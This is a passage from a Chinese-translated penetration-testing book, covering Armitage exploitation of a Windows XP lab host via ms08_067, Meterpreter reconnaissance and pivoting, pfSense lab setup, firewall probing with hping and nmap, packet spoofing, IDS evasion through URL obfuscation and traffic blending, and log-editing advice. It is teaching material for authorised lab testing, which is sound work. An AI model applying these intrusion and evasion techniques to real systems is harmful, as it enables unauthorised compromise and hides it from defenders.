这个命令将调用 armitage 程序。当Connect..窗口出现时,点击Connect按钮。当询问是否要连接 Metasploit RPC 服务器时,选择Yes。第一次运行 Armitage 可能需要几分钟才能完全加载。

使用 Armitage 进行后期利用

在继续之前,请花一些时间熟悉 Armitage 图形用户界面。

枚举

Armitage 允许使用多种方法来收集数据。我们将使用 nmap 功能来查看样本网络上的内容。在 Armitage 顶部导航栏中选择Hosts | Nmap Scan | Quick Scan (OS detect)

枚举

输入192.168.75.0/24来扫描正确的 VLAN1 子网。

枚举

扫描将需要一些时间来完成。完成后,将会出现一条消息,指出扫描已经完成,应该使用Find Attacks选项来…找到攻击。

枚举

如果网络设置正确,你应该会看到类似以下截图的内容:

枚举

就是这样!我们已经成功枚举了 VLAN1 网络,并且我们的系统在 Armitage 中以图形方式显示出来。

利用

使用 Armitage 进行利用是一件轻而易举的事情,非常简单,所以在选择目标时必须非常小心。确保枚举的目标在范围内后,选择Attacks | Find Attacks。当过程完成后,将弹出一个窗口,指出分析已经完成。

利用

现在是时候利用 ms08_067 漏洞接管这台 Windows XP 机器了。很少有漏洞利用像这样一致和简单。在工作区中右键单击 Windows 系统图标,选择Attack | smb | ms08_067_netapi

利用

配置菜单将会出现。一切都将填写完毕,准备就绪。点击Launch继续。

利用

如果一切正常工作,工作区中的图标将会变成类似以下截图的内容:

利用

闪电图标是一个图形指示器,表明你已成功攻陷了这台机器。

连接成功,接下来呢?

恭喜,Windows 系统已被攻破,我们现在能够利用 Armitage 和 Meterpreter 的组合来执行我们的后期渗透过程。通过右键单击受损机器的图像,我们可以从一个大型菜单中进行选择。让我们首先通过右键单击主机并选择Meterpreter <#>| Explore | Browse Files来查看目标系统上的内容。我们不仅可以看到一个很好的文件列表,而且它还是一个易于使用的图形浏览器格式。对于那些更喜欢图形界面而不是命令行的人来说,这应该是一种清新的空气!

我们已连接,现在怎么办?

使用菜单,我们可以快速查看系统进程,同时使用Meterpreter 3 | Explore | Show Processes菜单选项:

我们已连接,现在怎么办?

无论操作系统如何,我们仍然需要知道我们在目标系统上有哪些类型的工具可用。确定我们正在与什么类型的系统进行交互也非常重要。这可以通过查看运行的进程、安装的软件、用户历史等来确定。我们需要利用 meterpreter shell 来获取一些这些数据。

我们应该从一些更基本的命令开始。在 Armitage 中右键单击受损系统,选择Meterpreter 3 | Interact | Meterpreter Shell。在 meterpreter 提示符下输入sysinfo

我们已连接,现在怎么办?

根据这里的输出,我们可以确定我们正在访问一个基于 x86 的 Windows XP service pack 2 机器。让我们获取一些关于受损系统的更多信息。

网络详细信息

与 Linux 一样,尽快收集网络信息非常重要。Meterpreter 允许使用ipconfig命令。

网络详细信息

这绝对是在现实世界中看到的一种令人愉悦的信息。这个特定的系统有两张不同的网络卡,而且这个系统可能被用来探索 192.168.50.0/24 网络的可能性很高。在我们继续之前,我们应该查看一下路由表和其他网络信息。

网络详细信息

route 命令消除了我们可能对第二个网络卡只是一种干扰的任何疑虑。为了更好地了解我们在这里有什么,我们应该进一步查看详细信息。让我们在受损主机上启动一个 shell。这可以通过在 meterpreter 控制台中输入shell来获得。打开一个 shell 并浏览到c:\windows\system32\drivers\etc目录。

shell
c:\> cd windows\system32\drivers\etc

我们可以使用 type 命令来查看主机文件,这与 Unix 中的 cat 非常相似。

c:\WINDOWS\system32\drivers\etc> type hosts 

这里没有什么非常有趣的东西;你找到的每个文件都不会引发戏剧性和令人兴奋的发现。尽管如此,尽可能彻底地进行调查仍然非常重要。渗透测试可能非常类似于侦探工作,你不断寻找将引导下一步的线索。

网络详细信息

提示

记住,type 命令的使用方式与在 Unix 或 Linux 环境中使用 cat 命令的方式一样。

现在我们需要确定是否有任何有趣的网络连接来自这台机器。这些连接很可能会引导我们找到下一个目标,并帮助我们设置整体优先级。你测试网络的时间几乎肯定是有限的,你应该专注于最有吸引力的目标,以确保效率。记住要寻找的不仅仅是在机器上获取 shell;业务部门需要了解他们真正的暴露情况,而不是看到你能攻破多少未知系统。

我们可以使用netstat -an来查看连接,就像我们之前在 Linux 上做的那样:

网络详细信息

现在我们有了一些有趣的东西。看看这个主机和192.168.50.103端口80之间的连接。看起来我们可能在那台机器上运行一个 web 服务器!这绝对是个好消息。在这一点上,我们似乎在 192.168.50.0/24 网络上有更多有趣的设备,而不是在 192.168.75.0/24 子网上。如果目标机器上存在这些工具,我们可以从这台主机上启动扫描。

查找安装的软件和工具

在这一点上,我们已经审查了本地进程、网络连接,并且可以访问文件结构。现在我们可能想要查看一下这个系统可以访问的其他网络,并确定是否安装了 nmap 或其他有价值的工具。这是我们如何在基于 Windows 的操作系统上find信息的方法。这是一个变通方法,因为在 Windows 系统上似乎没有locatewhich的直接替代品:

c:\> dir c:\ /s /b | find /i "important" 

这个命令将所有目录传输到 find 命令中,find 命令将查找文件名中的 NMAP 字符串"important",不区分大小写。

查找安装的软件和工具

注意

请注意,当使用 BackTrack 5 R1 时,这个命令有时会导致 Armitage 卡住。如果是这种情况,你需要重新启动 Armitage。

当试图查找任何安装的软件或尝试定位有趣的文件时,这个命令会派上用场。

在 Windows 机器上找到安装的软件的简单方法是查看安装的程序,特别是在桌面上;系统很可能有所有默认的 Windows 工具。你感兴趣的是更隐晦的项目,比如 TFTP 服务器或网络扫描器,你可以利用它们。

让我们用老式的reg.exe方法来查看安装的程序:

reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall tmp.txt 

使用这个命令,我们导出了HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall键中包含的注册表信息。我们可以直接使用 type 命令查看结果:

type tmp.txt 

查找安装的软件和工具

这个文件的一部分确实很有趣。看看 virtualbox guest additions 字段。在这一点上,我们应该开始意识到我们可能正在处理一个虚拟化系统。当然,理想情况下,我们应该下载整个注册表,因为其中有大量的数据可供筛选。没有必要连接到机器上比你需要的时间更长。

提示

在这一点上,你应该能够有条不紊地查看注册表和文件系统,并找到你需要的东西。如果你真的想了解更多关于后期利用的知识,我认为没有比从 DerbyCon 2011 的 Carlos Perez 的演讲"战术后期利用"开始更好的地方了。你可以在 Adrian Crenshaw 的网站上找到这个和许多其他精彩有趣的演讲的链接:www.irongeek.com

枢纽

Armitage 使得枢纽变得微不足道。我们知道从受损的 Windows 机器上有另一个网络可供我们使用,现在只是能够扫描网络并从这个系统发动攻击的问题。有手动方法可以实现这一点,但最简单的方法是在 Armitage 中右键单击目标机器的图形表示,然后选择你的Meterpreter | Pivoting | Setup选项。

枢纽

你将看到一个菜单,选择你的枢纽点。选择192.168.50.0,然后点击添加枢纽

枢纽

这将添加正确的路由信息,允许你通过受害机器执行扫描和其他攻击。让我们试一试:

  1. 选择你受损的 Windows 机器。

  2. 在顶部导航栏中选择主机 | MSF 扫描

  3. 192.168.50.0/24中输入并继续。这可能需要一些时间。

  4. 审查发现并从顶部攻击菜单中选择查找攻击

您应该看到类似以下截图:

枢纽

右键单击您新发现的主机,并选择扫描以获取有关系统的更多信息。绿色线提供了有关您的枢纽点经过的系统的指导。在处理大型多样化网络时,这可能特别有用。

总结

在本章中,我们已经回顾了定位和收集受损主机信息所需的步骤。我们还讨论了不当准备所涉及的风险,以及在任何测试发生之前,协议的规则是多么重要的,并且必须严格遵守。此外,我们还提供了您理解后渗透思维过程所需的基本信息,以及确保成功渗透测试所需的步骤。

重要的是要记住,还有其他命令、工具和方法应该在窃取目标系统时使用。记住要专注于目标,不要浪费太多时间尝试挖掘对测试没有益处的信息。每个测试团队(和测试人员)都有一套他们喜欢的命令和输出格式,只要找到关键信息即可。

在这一点上,建议开始习惯记录您的工作。我们将在未来的章节中更多地讨论报告,但请记住,为了报告,您将需要数据。同样重要的是,要记录您可能在远程系统上运行的任何和所有系统命令,以防以后出现问题,或者您只是想再次重复确切的测试,以查看是否已经在保护相关单位方面取得了进展。

在下一章中,我们将深入探讨绕过防火墙和避免入侵检测系统。这在测试环境以及站点的安全和网络人员的响应时非常重要。我们将介绍绕过入侵检测系统背后的逻辑,以及如何模仿常见的流量模式以避免被检测到。

第八章:绕过防火墙和避免检测

渗透测试的类型和范围将决定在渗透测试期间需要保持隐秘的需求。避免在测试期间被检测到的原因各种各样;其中一个好处可能包括测试据说保护网络的设备,另一个可能是您的客户想知道信息技术团队对环境中的有针对性攻击做出反应需要多长时间。您不仅需要警惕目标网络上的管理员和其他观察者,还需要了解自动检测方法,例如网络、基于主机的入侵检测系统,以避免触发警报。

提示

当面对最有利的目标时,花时间验证一下,确保它不是一种蜜罐,当检测到异常流量或活动时会触发警报!不要走进一个聪明管理员设置的陷阱。请注意,如果您确实发现了这样的系统,仍然非常重要确保它设置正确,不要因配置错误而无意中允许访问关键内部资产!

在本章中,我们将回顾以下内容:

  • 渗透测试防火墙环境

  • 在 IDS 下滑

  • 在内部设置店铺

  • 审查网络流量

  • 使用标准凭据

  • 清理被入侵的系统

实验室准备

为了跟上本章的示例,需要进行一些实验室准备。

提示

在整本书中,我们一直专注于能够模拟目标网络。这对于学习和实践最新和最伟大的技术至关重要,因为安全研究领域的优秀头脑继续用新的漏洞和可能的攻击向量给我们带来惊喜。本书无法涵盖测试网络的每种可能方法,但构建实验室是为了增加长期价值的尝试,希望能够导致终身的“黑客心态”。如果您继续建立自己的实验室并增加对自己设置的练习挑战的难度,您将很快就能够舒适地测试任何类型的环境。

BackTrack、pfSense 和 Ubuntu 虚拟机应该以以下方式进行配置:

实验室准备

需要进行某些配置更改:

BackTrack 客户机

这台机器需要连接到192.168.75.0/24子网。在 Oracle VM VirtualBox Manager 控制台中,突出显示 BackTrack 实例,然后从顶部导航栏中选择设置选项。确保只启用一个网络适配器。适配器应使用 Vlan1 内部网络选项。

BackTrack 客户机

如前所述,在第三章中,枚举:明智选择目标,我们可以通过在 BackTrack 中输入以下命令将 IP 地址(在本例中为192.168.75.10)分配给以太网适配器(eth0)来进行配置。

# ifconfig eth0 192.168.75.10 netmask 255.255.255.0 broadcast 192.168.75.255 promisc 

由于 pfSense 机器还需要作为我们的路由器,我们需要将其设置为默认网关。可以按照以下步骤完成:

# route add default gw 192.168.75.1 

Ubuntu 客户机

Ubuntu 机器将被用作目标。它需要配置为连接到 VLAN2,这是我们以前没有使用过的新内部网络。要创建内部网络,您需要在 Oracle VM VirtualBox Manager 的网络配置屏幕中手动输入 VLAN2。您的设置应该类似于以下内容:

Ubuntu 客户机

pfSense 客户机配置

配置我们的防火墙需要更多的工作。它需要能够将来自 VLAN1 网络的限制流量路由到 VLAN2 子网。我们需要进行几项配置更改,以确保这一点能够正常工作。

注意

pfSense 提供了从配置菜单重置为出厂默认设置的选项。请注意,如果选择此选项,则必须重新配置适配器。这并不困难,但所有先前的设置将丢失。如果担心丢失先前的配置,请务必制作 pfSense 机器的副本/快照。

pfSense 网络设置

我们的防火墙客户机将使用两个网络适配器。一个将用于 VLAN1 段,另一个将用于 VLAN2 段。在本章的示例中,VLAN1 将被视为不受信任的广域网。网络适配器 1 应类似于以下截图:

pfSense network setup

网络适配器 2 应类似于以下内容:

pfSense network setup

WAN IP 配置

剩下的网络设置将需要在客户机内部执行。

  1. 启动您的 pfSense 虚拟实例。当 pfSense 尝试配置 WAN 适配器时可能会有额外的延迟。允许其完全加载,直到您看到以下菜单:WAN IP configuration

  2. WAN 和 LAN 接口将需要正确配置。选择选项2)设置接口 IP 地址

  3. 选择选项 1 — WAN。WAN IP configuration

  4. 在要求通过 DHCP 配置 WAN 接口时,输入* n *以进行否。

  5. WAN 适配器的 IP 应为192.168.75.1

  6. 子网位数应设置为 24。输入24并按EnterWAN IP configuration

  7. Enter返回到配置菜单。

LAN IP 配置

我们也可以从配置菜单中设置 LAN IP 信息。在此配置 LAN 的一个好处是,我们可以同时为 VLAN2 配置 DHCP 服务器。

  1. 从配置菜单中选择选项2以启动 LAN IP 配置模块。

  2. 选择 LAN 接口(选项2)。

  3. 在提示输入 IP 地址时,输入192.168.101.1

  4. 位数应设置为24

  5. 当询问是否要在 LAN 上启用 DHCP 服务器时,选择* y *以进行是。

  6. DHCP 客户端 IP 范围起始为192.168.101.100

  7. DHCP 客户端 IP 范围停止为192.168.101.110

  8. EnterLAN IP configuration

  9. 再次按Enter返回到配置菜单。

您的 LAN 和 WAN IP 范围应与以下匹配:

LAN IP configuration

防火墙配置

pfSense 可以使用直观的 Web 界面进行配置。启动 Ubuntu 机器,打开终端并执行sudo dhclient以从 VLAN2(192.168.101.0/24)上的 pfSense DHCP 服务器获取地址。在 Ubuntu 机器上的 Web 浏览器中输入http://192.168.101.1/以访问配置面板。如果您已将其重置为出厂默认设置,则需要通过向导进行步骤以进入标准控制台。

注意

pfSense 的默认用户名和密码组合是:admin/pfsense

要查看当前的防火墙规则,请选择Firewall | Rules并查看当前配置。默认情况下,WAN 接口应被阻止连接到内部,因为没有预先建立的规则允许任何流量通过。

Firewall configuration

为了测试目的,我们将启用端口 80、443、21,并允许 ICMP。添加以下规则:

  1. 单击前面截图中显示的添加新规则按钮。

  2. 使用以下规则设置来启用 ICMP 通过:

  • 操作:通过

  • 接口:WAN

  • 协议:ICMP

  • 其他所有人:默认

  1. 单击屏幕底部的保存按钮。

  2. 单击屏幕顶部的应用更改按钮。

  3. 使用Interface | WAN导航菜单进入 WAN 接口配置菜单,并取消选中Block private networks。应用更改并返回到Firewall | RulesFirewall configuration

  4. 单击添加新规则按钮。

  5. 使用以下规则设置启用 HTTP 通过。

  • 操作:通过

  • 接口:WAN

  • 协议:TCP

  • 目标端口范围:HTTP

  1. 继续添加端口,直到配置与以下匹配:防火墙配置

在这一点上,连接到 VLAN1 的任何机器都可以通过开放的端口进行通信,以及 ping VLAN2 段上的机器,如下面的屏幕截图所示(运行扫描的系统位于192.168.75.10):

防火墙配置

通过防火墙进行隐秘扫描

在当今时代,最常见的安全机制将是某种防火墙。防火墙是一个很好的安全机制,当与其他安全控制一起使用时;然而,它们必须得到适当的维护和监控才能真正发挥作用。有几种机制可以尝试绕过这些设备。

查找端口

在扫描时知道您被阻止的位置是很重要的。通过防火墙测试时,如果您没有所有的信息,准备一个隐秘的攻击可能会变得困难。记住,诸如 Firewalker 或 Hping 之类的工具可以帮助确定阻塞发生的位置,以及端口是否真的可用或者只是关闭。虽然这可能看起来微不足道,但首先知道是否有防火墙是相当重要的。

使用 Traceroute 查找是否有防火墙

有时我们可以使用 traceroute 来查看到目标系统的路径。让我们看一下从 VLAN2 到 VLAN1 的开放 traceroute:

student@Phobos:~$ traceroute 192.168.75.10 
traceroute to 192.168.75.10 (192.168.75.10), 30 hops max, 60 byte packets
1 pfSense.localdomain (192.168.101.1) 0.248 ms 0.166 ms 0.117 ms
2 192.168.75.10 (192.168.75.10) 1.351 ms 1.243 ms 1.188 ms

查看这个结果,我们可以看到第一跳经过我们的网关192.168.101.1,然后被路由到主机。现在我们将尝试从 BackTrack 机器进行反向操作:

root@bt:~# traceroute 192.168.101.1
traceroute to 192.168.101.1 (192.168.101.1), 30 hops max, 60 byte packets
1 * * *
2 * * *
[Truncated…]
30 * * *

有些东西阻止我们接收路径信息(这是 pfSense 防火墙配置)。这种技术并不总是有用,但绝对值得了解。

查找防火墙是否阻止某些端口

有一个防火墙;接下来呢?下一步是确定防火墙阻止了哪些端口,或者更重要的是哪些是开放的。

Hping

Hping2 和 Hping3 包含在 BackTrack 5 发行版中。可以通过 GUI 导航栏应用程序 | BackTrack | 信息收集 | 网络分析 | 识别活动主机 | Hping2访问。也可以通过简单地输入hping2来在命令行中调用。Hping2 是一个强大的工具,可用于各种安全测试任务。以下语法可用于查找开放端口,同时完全控制您的扫描:

root@bt:/pentest# hping2 -S 192.168.101.100 -c 80 -p ++1 
HPING 192.168.101.100 (eth0 192.168.101.100): S set, 40 headers + 0 data bytes
len=46 ip=192.168.101.100 ttl=63 DF id=0 sport=21 flags=SA seq=20 win=5840 rtt=0.6 ms
len=46 ip=192.168.101.100 ttl=63 DF id=0 sport=80 flags=SA seq=79 win=5840 rtt=0.6 ms
--- 192.168.101.100 hping statistic ---
80 packets tramitted, 2 packets received, 98% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms

这个命令允许我们执行一个从端口 1 开始递增 80 步的SYN扫描。

注意

CTRL + Z用于手动递增端口。从低端口开始手动递增。开始一个 Hping2 扫描,试一试!

根据防火墙配置,可能也可以发送伪造的数据包。在测试中,有利于确保配置不允许发生这种行为。Hping 非常适合这项任务。以下是一个示例,您可以测试防火墙是否允许这个流量通过:

hping2 -c10 -S --spoof 192.168.101.101 -p 80 192.168.101.100 

这个命令将伪装 10 个数据包从192.168.101.101192.168.101.100的 80 端口。这是一个空闲扫描的基础,如果成功的话,将允许您对192.168.101.101机器进行hping,以查找 IP 序列号的增加。在这种情况下,我们可以在 pfSense 机器上启用监视,模拟这个流量对于审查日志的网络管理员来说是什么样子。

挑战自己创建和监视不同的数据包和 Hping 的用法,以便您可以对流量流向有很好的理解。在测试时保持不被发现的最佳方法是充分了解正在使用的技术。

查看成功扫描生成的日志,并牢记由于涉及的流量量即使是安全的网络有时也只会记录和触发基于拒绝流量的事件。

注意

需要在防火墙上启用每条规则的日志记录,以查看允许的流量。不记录允许的流量是相当标准的做法,因为它可以减少防火墙日志的大小。教育您的客户,积极监视允许的流量在试图真正保护网络时也可能是有益的。

Hping

hping2的细粒度控制与hping3的脚本功能相结合,使 Hping 工具成为每个渗透测试人员工具箱中不可或缺的一部分。

有关如何有效使用 Hping2 和 Hping3 的更多信息和教程可以在 Hping wiki 上找到:wiki.hping.org/

Nmap firewalk 脚本

测试防火墙上开放端口的最简单方法之一是简单地使用 Nmap 的 firewalking 脚本。要测试开放的防火墙端口,您需要一个位于防火墙后面的主机作为目标:

nmap --script=firewalk --traceroute 192.168.101.100 

命令序列是简单而熟悉的:我们调用nmap,使用脚本选项,并选择 firewalk 脚本。然后,我们通过对192.168.101.100执行 traceroute 来提供 firewalk 所需的输入,我们知道这个地址在我们的目标防火墙后面。

Nmap firewalk 脚本

尽管我们能够确定防火墙上开放的端口(21、80 和 443),但如果您查看防火墙拒绝的情况,很快就会发现这不是一个安静的测试,只有在不需要隐秘时才应使用。归根结底,隐秘需要耐心和一个精心制定的行动计划。手动验证防火墙上是否有任何常见的端口打开,然后尝试使用其中一个众所周知的端口进行扫描可能更容易。

注意

要有效地模拟使用 Hping 进行适当的 firewalking 或端口探测,网络需要在防火墙后面有一个网关。在复制生产环境时,这可以在实验室中完成,但超出了本章的范围。命令保持不变;获得的信息可能会大幅增加。这些工具使用 TTL 来确定端口是否打开,由于我们的网关与我们的防火墙和路由器在同一台机器上,结果是多样化和模糊的。

Nmap firewalk 脚本

总的来说,空闲扫描仍然是确定一个经过适当锁定的防火墙后面是什么的最佳方法。当下最流行的是SYN Cache Idle扫描,关于这个主题的一篇很棒的论文,题为《Idle Port Scanning and Non-interference Analysis of Network Protocol Stacks Using Model Checking》,作者是 Roya Ensafi、Jong Chun Park、Deepak Kapur 和 Jedidiah R. Crandall,来自新墨西哥大学,可以在以下网址找到:www.usenix.org/events/sec10/tech/

现在你看到我,现在你看不到我 —— 避开 IDS

在安全环境中,您可以指望遇到 IDS 和 IPS。正确配置并作为真正深度防御模型的一部分使用会极大地增加它们的有效性。这意味着 IDS 将需要得到适当的更新、监视,并在适当的位置使用。渗透测试人员将被期望验证 IDS 是否与所有其他安全控制一起正常工作,以正确保护环境。

绕过任何 IDS 的主要方法是避免创建用于查找特定模式的签名。这些签名必须经过精细调整,只能找到明显恶意行为,不应该过于限制,以至于触发正常流量模式的警报。多年来,这些签名的成熟度显著提高,但渗透测试人员或知识渊博的攻击者将能够使用各种手段来绕过甚至是最精心制作的签名。在本节中,我们将回顾一些攻击者在野外使用的方法。

规范化

规范化是指用各种输入替换文件或路径的规范名称。这种做法可以简单到用十六进制表示 ASCII 文本值进行替换。以下是一个等效字符串的示例:

  • 十六进制中的字符串 A: "54:68:69:73:20:69:73:20:61:20:73:74:72:69:6e:67"

  • 文本中的字符串 A: "This is a string"

  • ASCII 中的字符串 A: "084 104 105 115 032 105 115 032 097 032 115 116 114 105 110 103"

利用事实,有时一个 URL 可能有成千上万种组合。为了更好地理解这一点,让我们看看我们可以使用的地址,从浏览器到本地 Ubuntu Apache 服务器:

http://2130706433/ 

幸运的是,这个地址让我们的 Apache 服务器困惑了,我们收到了以下消息:

规范化

之前的请求尝试加载本地页面127.0.0.1。让我们看看当我们尝试以相同的方式加载远程 pfSense 管理控制台时会发生什么:

http://3232254721/ 

在这里,我们收到了托管 pfSense 管理控制台的 Web 服务器的警告,称可能发生了 DNS Rebind 攻击:

规范化

让我们尝试一些真正有效的东西:

在控制台中,ping我们上面列出的地址之一:

PING 3232254721 (192.168.75.1) 56(84) bytes of data. 

64 bytes from 192.168.75.1: icmp_seq=1 ttl=64 time=9.34 ms
64 bytes from 192.168.75.1: icmp_seq=2 ttl=64 time=0.265 ms
64 bytes from 192.168.75.1: icmp_seq=3 ttl=64 time=0.292 ms

正如我们所看到的,IP 地址得到了正确解析,我们也按预期收到了回复。当试图绕过 IDS 规则时,这个概念非常关键。如果能够确定 IDS 的类型,那么应该可以获取到签名。在审查这些签名时,你需要寻找模糊化 URL、文件名或其他路径信息的机会,以便能够绕过现有的规则集。

注意

尝试在常见的网站上尝试这个。许多 Web 服务器将正确解释这些 URL 并提供页面。当与社会工程活动结合使用时,这可能会很有趣。在欺诈电子邮件中模糊 URL 将导致未经适当培训的用户点击更多。

时机是关键

在之前的章节中,我们已经了解到在受保护环境中进行网络扫描时,时机可能至关重要。使用 Nmap,我们可以调整在给定时间内发送的数据包数量。IDS 签名寻找模式,向许多机器发送数据包是一个明显的模式。

在尝试绕过这些机制时,了解设备背后的逻辑和工作原理非常重要。如果你的流量与网络上通常看到的不符,那么很可能会在获得大量信息的机会之前被阻止。这可能会导致最好的情况下感到沮丧,最坏的情况下导致评估失败。花点时间规划成功测试所需的阶段。最好是慢慢开始,确定安装了哪种类型的安全机制,而不是匆忙行事,打开世界上所有可能的端口,然后让你的测试 IP 范围自动被禁止。

Nmap 和许多其他工具都具有精细度和能力来限制扫描的时间。甚至可能建议开始手动控制特定端口的网络枚举,而不是从自动扫描开始。

融入其中

内部发动攻击既令人满意又有回报。您将不再受限于网络的受保护外壳,可以自由穿越。要小心使用的工具不要暴露您。

提示

通过了解管理员在特定条件下会看到什么,渗透测试人员更有可能进行深思熟虑的工作,符合测试的最终目标,如在规则约定合同中所述。

在这里,我们从 BackTrack 机器到 Kioptrix 1 级机器建立了连接。看看防火墙记录的奇怪流量:

融入

现在,如果我们快速登录系统并设置或提升用户帐户的特权,以允许我们进行 SSH 连接,我们可以与网络上现有的流量合并。让我们看看当我们在 SSH 会话中运行tree命令时的区别:

bash-2.05# tree | head 
.
|-- X11R6
| |-- bin
| | |-- fslsfonts
| | |-- fstobdf
| | |-- mkfontdir
| | |-- xfs
| | `-- xfsinfo
| |-- include
| |-- lib |
[Output Truncated…]
| |-- i686
| | `-- noarch
| |-- SOURCES
| |-- SPECS
| `-- SRPMS
`-- tmp -> ../var/tmp
2093 directories, 33808 files
bash-2.05#

虽然这个命令正在传回 Linux 框的整个目录结构,但我们在防火墙日志中看到以下内容:

融入

请注意,没有 SSH 流量的条目。与先前的端口 139 流量相比,它很少。通过适当的脚本编写,可以在 SSH 连接中模拟通过后期利用模块完成的工作,而且这种流量是完全加密的,很可能被测试网络中的各种管理员使用。

查看流量模式

网络嗅探可以节省大量时间。使用远程 Windows 机器为您执行此任务更加困难,因为网络卡需要处于混杂模式,但这是可以做到的。理想情况下,您会找到一个可以轻松成为监听站的 Unix 或 Linux 主机。

在这里,我们看到了192.168.101.0/24子网上的一个受损的 Linux 主机。我们的攻击机器位于192.168.75.0/24,无法看到 Linux 机器所看到的相同流量。我们将使用tcpdump,这在许多 Linux 发行版中都是可用的:

tcpdump -i eth0 -c 100 -n 

在这里,我们在远程 Kioptrix 机器上调用tcpdump,使用我们在后期利用章节中设置的 games 帐户进行 SSH 连接。我们使用-i选项指定我们想要使用eth0作为我们的监听适配器。然后告诉适配器只捕获接下来的100个数据包。使用-n开关来避免 DNS 查找,并显示 IP 地址而不是主机名。此命令的输出将为我们提供与我们的 SSH 连接相关的未经过滤的数据包信息。

更有趣的是看看在该段上还有什么其他东西。例如,使用简单的icmp过滤器,我们可以看到以下内容:

查看流量模式

通过查看前面的屏幕截图,我们可以确定该子网上还有其他单元。使用tcpdump的好处在于,我们不会干扰流量,只是在流量通过时筛选信息。

清理受损主机

在处理小型网络时,很容易低估清理受损主机所需的时间和精力。这项任务对于避免被发现以及在测试完成后保持网络处于完美状态至关重要。任何人都不希望忽视一个安装了 meterpreter 后门并等待下一个人利用的受损主机!关键是要做详细的笔记,并准确记录测试期间所做的事情,以及测试后可能会持续存在的事情。

想想我们在后期利用章节中所做的事情;你认为我们启用了游戏帐户用于 SSH 登录,并且具有 root 特权和一个弱密码,这有多容易被忘记!似乎唯一更糟糕的是意外向客户发送错误的报告并泄露某人的机密信息。也许人们似乎永远不会做这两件事,但如果没有使用适当的规划和组织,这两件事都有一定的可能性。当处理一个、两个或甚至五个机器时,回头清理可能不是一个大问题或担心。但是,当您在 40 个不同子网上有 1000 台机器时会发生什么呢?

使用清单

如果您没有为完整的利用和后期利用过程编写脚本,请确保您为必须撤消的所有操作保持清单。这超出了为最终报告创建笔记和记录命令。我们正在谈论将用于确保没有留下任何机会和所有更改都正确撤消的指南,例如将临时文件添加到可写入世界目录中,以便您可以测试您的盲 SQL 注入。如果您无法自行删除文件,请准备好一些内容,以提醒管理员为您删除文件。渗透测试人员的工作是协助验证环境的安全性,而不是使其更容易受到攻击。

何时清理

现在开始清理过程永远不会太早。这不仅有助于保持不被发现,而且还确保在整个渗透测试过程中使用系统化的方法。

不需要在同一子网中打开 300 个外壳。选择一个允许您建立适当枢轴的目标,然后从列表中删除其他外壳。您需要额外的时间来报告和验证结果!

本地日志文件

了解日志文件存储位置、它们捕获的内容以及它们如何将数据报告给管理员至关重要。花时间了解至少最常用的操作系统(如流行的 Linux 发行版和 Windows 服务器)的各种日志文件。如果尝试避免被发现,简单地擦除日志可能不会帮助实现期望的结果。这就像拿走别人的冰淇淋蛋筒,吃掉冰淇淋,然后把蛋筒放回冰箱。总会有人注意到。相反,使用允许您编辑日志文件部分或提升特权到未受监视的帐户的技术。许多需要枚举内部网络的任务不需要管理员特权;也许最好使用受限帐户进行这些活动,希望只有管理员操作被记录和监视?

实际审查日志的管理员不会寻找标准流量。他们将寻找异常。为了避免被发现,您的流量和操作必须能够与普通用户的流量和操作融合在一起。

其他规避技术

可以实现的规避检测的程度因网络而异。在进行测试时,请记住,在当今这个时代,资源通常非常有限,管理员工作繁重且得不到赏识。专注于绕过自动检测方法,您不太可能被积极和热切的管理员发现,除非您的流量和行为模式与普通高级用户的大不相同。当嗅探流量并查看网络连接和活动时,您应该能够了解网络上被视为正常流量的内容。

分而治之

在执行扫描时,最好使用多个来源发起扫描。在大型网络中,一旦有几个人点击了您的社会工程活动页面上的链接,这更有可能实现。一旦您控制了几台机器,就不建议从单台机器进行扫描。使用工具将扫描分成块,并减少扫描时间。利用空闲扫描,特别是在有网络打印机可用时。

躲藏(在受控单位上)

如果您控制的任何系统开始被清理、重新映像或以其他方式进行修复,而实际的渗透测试尚未完成,请减慢速度,或者至少停止所有激进的测试,直到确定是谁或什么在控制修复系统。可能涉及第三方,如果是这种情况,那么确保您的流量和努力不会与第三方的流量和努力混淆,特别是如果该人或团体最终被证明是恶意的,并试图确保他们不会失去对“他们”拥有的系统的控制权。在一个完美的世界中,这不会是这种情况,而是一个非常好的安全和管理团队正在处理业务,并在出现威胁时予以消除。

文件完整性监控

我们在本书中没有经常讨论的一项安全措施是使用文件完整性监控。正确使用此控件对攻击者和渗透测试人员都可能具有毁灭性的影响。管理员可以非常简单地使用这些工具,让他们知道关键文件或目录何时发生了更改。当遇到那些等待被完全掠夺的开放系统时,请记住这一点。一次不当的更改,管理员甚至可能安全组都会加速并开始寻找网络上最小的异常。这将确保您的工作变得更加困难。

通常可以通过坚持使用非侵入性的后渗透和枚举手段来避免 FIM。一些目录和文件,特别是处理数据库或临时文件的文件,由于误报率高,不会被扫描更改。确保您修改或放置的任何文件都在这些目录中,并避免尝试更改关键系统文件。 (日志文件可能包括在内!)再次思考像管理员一样,并避免任何可能轻易被脚本警报的行动。

利用常见的网络管理工具来执行任务

最后但并非最不重要的:利用手头的工具进行枚举和进一步的渗透。如果目标系统安装了编译器,可以使用它来编译自己的网络扫描器,而不是从机器上访问某个随机网站并下载一个。特别是 Windows 系统具有广泛的 Net 命令和 shell 命令,使许多枚举和掠夺任务变得轻而易举。在执行测试时充分利用这些工具,您可能不会被管理员检测到。

总结

在本章中,我们学习了如何在 pfSense 中设置防火墙规则并监控我们的流量,以便了解哪种类型的活动是合法的,哪种类型不是。我们还讨论了入侵检测系统的工作原理,以及我们如何利用这些知识来避免在执行扫描、启动社会工程活动或简单评估 Web 应用程序时被检测到。

我们讨论了流量模式以及如何尝试匹配流量将有助于避免检测;毕竟,如果所有信息看起来都一样,那么任何人都无法确定什么是合法的,什么是不合法的。

还讨论了各种策略,说明了如果以战略和深思熟虑的方式进行测试,可能会避免检测。最后,还触及了有效和高效地避免检测所需的心态。

在下一章中,我们将看看数据收集工具和报告。这是渗透测试的重要方面,因此不应忽视。我们将研究生成最终报告,以及提供有效使用诸如 vim、nano、NoteCase 和 Dradis 等工具来跟踪测试工作的快速概述。

第九章:数据收集工具和报告

尽管可能看起来很痛苦,但渗透测试的每一步都必须得到适当的记录。这不仅可以确保准确和可重复的结果,还可以让其他人检查工作,并确保在测试过程中没有遗漏任何内容。随着渗透测试变得越来越普遍,测试团队也变得更加分段和专业化。团队中可能有一个人专门负责应用程序渗透测试,另一个人可能是后期利用的天才。从一个角色到另一个角色,需要适当的文档记录和报告。

